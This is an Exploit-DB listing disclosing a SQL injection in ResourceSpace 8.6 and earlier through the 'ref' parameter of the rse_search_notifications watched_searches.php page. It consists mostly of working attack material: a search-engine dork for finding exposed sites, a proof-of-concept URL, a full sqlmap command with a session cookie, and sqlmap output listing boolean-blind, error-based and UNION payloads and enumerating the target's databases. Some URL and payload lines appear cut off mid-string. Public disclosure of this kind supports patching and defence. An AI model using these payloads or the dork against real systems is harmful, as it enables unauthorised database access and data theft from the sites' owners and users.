ResourceSpace 8.6 - 'watched_searches.php' SQL Injection

EDB-ID:
46308

CVE:
N/A

EDB Verified: ×

Author:
DD_

Type:
WEBAPPS

Exploit: / {}

Platform:
PHP

Date:
2019-02-04

Vulnerable App:

```
# Exploit Title: ResourceSpace <=8.6 'watched_searches.php' SQL Injection
# Dork: intext:"Powered by ResourceSpace"
# Date: 2019-02-01
# Exploit Author: dd_ (info@malicious.group)
# Vendor Homepage: https://www.resourcespace.com/
# Software Link: https://www.resourcespace.com/get
# Version: Stable release: 8.6 (Minor: 12603)
# Tested on: PHP/MySQL (PHP 7.2 / MySQL 5.7.25-0ubuntu0.18.04.2-log)
# Research IRC: irc.blackcatz.org #blackcatz
# Vendor Banner: ResourceSpace open source digital asset management
software is the simple, fast, & free way to organise your digital assets.


# POC:
# 1)
#
http://resourcespace.local/plugins/rse_search_notifications/pages/watched_sea
offset=0&callback=checknow&ref=[SQL]&ajax=true&_=1548992497510



# Example:
#
[notroot@malicious ~]$ sqlmap -u
'http://resourcespace.local:80/plugins/rse_search_notifications/pages/watched
offset=0&callback=checknow&ref=2'\''&ajax=true&_=1548992497510' --
cookie='cookiecheck=true;language=en-
US;user=d170aee58aadb30833490bc38aecc85b;thumbs=show;saved_col_order_by=creat
--dbms=mysql --level=5 --risk=3 --technique=BEUST -p ref --dbs



[!] legal disclaimer: Usage of sqlmap for attacking targets without prior
mutual consent is illegal. It is the end user's responsibility to obey all
applicable local, state and federal laws. Developers assume no liability
and are not responsible for any misuse or damage caused by this program

[*] starting @ 15:27:03 /2019-02-01/

[15:27:03] [WARNING] it appears that you have provided tainted parameter
values ('ref=2'') with most likely leftover chars/statements from manual
SQL injection test(s). Please, always use only valid parameter values so
sqlmap could be able to run properly
are you really sure that you want to continue (sqlmap could have problems)?
[y/N] y
[15:27:03] [INFO] testing connection to the target URL
[15:27:03] [WARNING] there is a DBMS error found in the HTTP response body
which could interfere with the results of the tests
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: ref (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: offset=0&callback=checknow&ref=2' AND 6321=6321#
YBHT&ajax=true&_=1548992497510

    Type: error-based
    Title: MySQL OR error-based - WHERE or HAVING clause (FLOOR)
    Payload: offset=0&callback=checknow&ref=-5346 OR 1 GROUP BY
CONCAT(0x716b6a6271,(SELECT (CASE WHEN (9852=9852) THEN 1 ELSE 0
END)),0x716b627671,FLOOR(RAND(0)*2)) HAVING
MIN(0)#&ajax=true&_=1548992497510

    Type: UNION query
    Title: Generic UNION query (random number) - 12 columns
    Payload: offset=0&callback=checknow&ref=-5045 UNION ALL SELECT
CONCAT(0x716b6a6271,0x676e72684e744a54485a747a4c5249684657485649744b416866756
```

```
- ajba&ajax=true&_=1548992497510
---
[15:27:03] [INFO] testing MySQL
[15:27:04] [INFO] confirming MySQL
[15:27:04] [WARNING] reflective value(s) found and filtering out
[15:27:04] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Apache 2.4.29
back-end DBMS: MySQL >= 5.0.0
[15:27:04] [INFO] fetching database names
[15:27:04] [INFO] used SQL query returns 3 entries
[15:27:04] [INFO] resumed: 'information_schema'
[15:27:04] [INFO] resumed: 'mybb'
[15:27:04] [INFO] resumed: 'resourcespace'
available databases [3]:
[*] information_schema
[*] mybb
[*] resourcespace

[15:27:04] [INFO] fetched data logged to text files under
'/home/notroot/.sqlmap/output/resourcespace.local'

[*] ending @ 15:27:04 /2019-02-01/
```

Tags: SQL Injection (SQLi)

Advisory/Source: Link

Databases

Links

Sites

Solutions